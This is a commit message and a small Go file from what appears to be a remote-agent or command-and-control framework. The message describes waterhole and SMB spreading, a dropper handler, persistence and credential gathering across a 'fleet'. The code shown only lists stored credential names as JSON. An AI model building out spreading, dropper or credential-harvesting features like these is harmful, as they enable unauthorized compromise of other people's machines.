feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/credential_vault.go

@@ -0,0 +1,35 @@
+package client
+
+import (
+	"encoding/json"
+	"runtime"
+)
+
+type credentialEntry struct {
+	Name   string `json:"name"`
+	Source string `json:"source"`
+	Type   string `json:"type,omitempty"`
+}
+
+type credentialVaultResult struct {
+	Platform string            `json:"platform"`
+	Entries  []credentialEntry `json:"entries"`
+	Count    int               `json:"count"`
+	Note     string            `json:"note,omitempty"`
+}
+
+// listCredentialVaultNames returns stored credential identifiers (no secrets).
+func listCredentialVaultNames() string {
+	entries, note := platformCredentialNames()
+	result := credentialVaultResult{
+		Platform: runtime.GOOS,
+		Entries:  entries,
+		Count:    len(entries),
+		Note:     note,
+	}
+	if result.Entries == nil {
+		result.Entries = []credentialEntry{}
+	}
+	b, _ := json.Marshal(result)
+	return string(b)
+}